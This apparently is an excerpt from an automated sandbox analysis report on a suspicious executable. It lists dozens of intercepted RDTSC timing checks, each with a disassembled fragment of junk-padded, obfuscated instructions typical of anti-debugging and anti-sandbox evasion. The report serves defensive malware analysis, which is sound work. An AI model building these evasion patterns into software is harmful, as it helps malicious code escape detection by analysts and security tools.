Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 44C6BC second address: 44C6C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4530F2 second address: 4530F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4530F8 second address: 45311F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE310CDC3A7h 0x00000009 popad 0x0000000a pop esi 0x0000000b jo 00007FE310CDC3AEh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 45311F second address: 453123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 453C51 second address: 453C5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4598EB second address: 4598EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4598EF second address: 45990D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE310CDC3A8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 45990D second address: 459941 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE31118121Ch 0x00000008 jmp 00007FE311181229h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 jc 00007FE31118121Eh 0x00000016 push edx 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 459DB9 second address: 459DC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jnp 00007FE310CDC396h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 45EDC6 second address: 45EDCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 461A3F second address: 461A95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE310CDC3A7h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007FE310CDC3A5h 0x0000000f popad 0x00000010 jmp 00007FE310CDC3A5h 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FE310CDC39Ah 0x0000001f rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 46774E second address: 467757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 46659D second address: 4665A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 466871 second address: 46689D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE311181222h 0x00000009 popad 0x0000000a push ebx 0x0000000b jmp 00007FE311181222h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 466B40 second address: 466B44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 466B44 second address: 466B49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 466B49 second address: 466B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 466DFF second address: 466E0F instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE311181216h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 466F76 second address: 466F7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4670A4 second address: 4670A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4670A8 second address: 4670C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE310CDC39Ah 0x0000000f jnc 00007FE310CDC396h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4671FF second address: 467207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 467207 second address: 467223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jne 00007FE310CDC396h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 jnc 00007FE310CDC396h 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 40C7AC second address: 40C7C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE311181223h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 466036 second address: 46603B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 46603B second address: 46605B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jnl 00007FE311181216h 0x0000000b jmp 00007FE31118121Ah 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007FE311181216h 0x00000019 push edi 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 46605B second address: 46605F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 46D569 second address: 46D56D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 46D56D second address: 46D57C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE310CDC396h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 46C96C second address: 46C984 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FE31118121Ch 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 46C984 second address: 46C993 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC39Ah 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 46C993 second address: 46C9A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e jp 00007FE311181216h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 46C9A7 second address: 46C9B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007FE310CDC396h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 473DA0 second address: 473DBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FE311181228h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 473DBD second address: 473DD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC39Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 473DD3 second address: 473E24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181227h 0x00000007 jmp 00007FE311181226h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jnp 00007FE311181233h 0x00000016 jmp 00007FE31118121Fh 0x0000001b push eax 0x0000001c jbe 00007FE311181216h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 423EC0 second address: 423EC6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 423FA7 second address: 423FAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 423FAB second address: 423FCF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 423FCF second address: 423FD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4240B4 second address: 4240B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4240B8 second address: 4240F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE31118121Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b jc 00007FE31118121Ch 0x00000011 pop esi 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jmp 00007FE31118121Fh 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4240F3 second address: 424130 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC39Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007FE310CDC3A1h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 jmp 00007FE310CDC3A0h 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 42442B second address: 42442F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 42442F second address: 424433 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 42459B second address: 4245AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 jg 00007FE311181216h 0x0000000c pop eax 0x0000000d popad 0x0000000e push eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4245AF second address: 4245B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 424AE8 second address: 424AFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE31118121Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 424AFA second address: 424B00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 424B00 second address: 424B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 424E01 second address: 424E16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jns 00007FE310CDC396h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 424E16 second address: 424E1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 424E1C second address: 40C7AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FE310CDC39Dh 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007FE310CDC398h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 call dword ptr [ebp+122D301Fh] 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f jbe 00007FE310CDC396h 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 47315D second address: 473195 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FE311181225h 0x00000008 pop edx 0x00000009 jo 00007FE311181233h 0x0000000f jmp 00007FE311181227h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4732C5 second address: 4732CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4732CB second address: 4732CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4732CF second address: 473309 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c ja 00007FE310CDC396h 0x00000012 popad 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FE310CDC3A4h 0x0000001b push eax 0x0000001c push edx 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 473309 second address: 47330F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4770A7 second address: 4770AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4770AB second address: 4770DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE311181222h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007FE31118122Fh 0x00000011 jmp 00007FE311181223h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 476D8D second address: 476DC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC39Dh 0x00000007 jng 00007FE310CDC396h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 push edi 0x00000011 jmp 00007FE310CDC3A1h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a jc 00007FE310CDC396h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 47E476 second address: 47E47B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 47E47B second address: 47E481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 47E481 second address: 47E491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 jp 00007FE31118121Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 47E617 second address: 47E61B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 485824 second address: 485841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jg 00007FE311181216h 0x0000000c popad 0x0000000d jmp 00007FE311181220h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 484659 second address: 48466A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE310CDC39Ch 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 484933 second address: 484937 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4247D3 second address: 4247D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 484A84 second address: 484AA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FE311181216h 0x0000000a popad 0x0000000b pushad 0x0000000c jng 00007FE311181216h 0x00000012 jl 00007FE311181216h 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a push eax 0x0000001b pop eax 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 48AD5B second address: 48AD7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A4h 0x00000007 pushad 0x00000008 je 00007FE310CDC396h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 48AD7A second address: 48AD8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE31118121Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 491272 second address: 491278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 491278 second address: 4912A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007FE311181216h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FE31118121Dh 0x00000011 popad 0x00000012 pushad 0x00000013 jo 00007FE31118121Ah 0x00000019 push esi 0x0000001a pop esi 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4912A1 second address: 4912A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4912A5 second address: 4912B8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE311181216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jno 00007FE311181216h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 49209B second address: 49209F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 49209F second address: 4920BB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FE31118121Bh 0x0000000d pushad 0x0000000e jo 00007FE311181216h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 492421 second address: 49243A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FE310CDC3A3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 492D32 second address: 492D36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 492D36 second address: 492D67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jmp 00007FE310CDC3A7h 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 498040 second address: 49805A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181226h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 49805A second address: 498064 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE310CDC3A8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 497410 second address: 497414 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 497414 second address: 49741A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 49798F second address: 497993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 497993 second address: 497997 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 49C9AE second address: 49C9B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 49C9B4 second address: 49C9B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 49C9B8 second address: 49C9BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4A3D14 second address: 4A3D18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4A3D18 second address: 4A3D1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4A4D37 second address: 4A4D41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FE310CDC396h 0x0000000a rdtsc
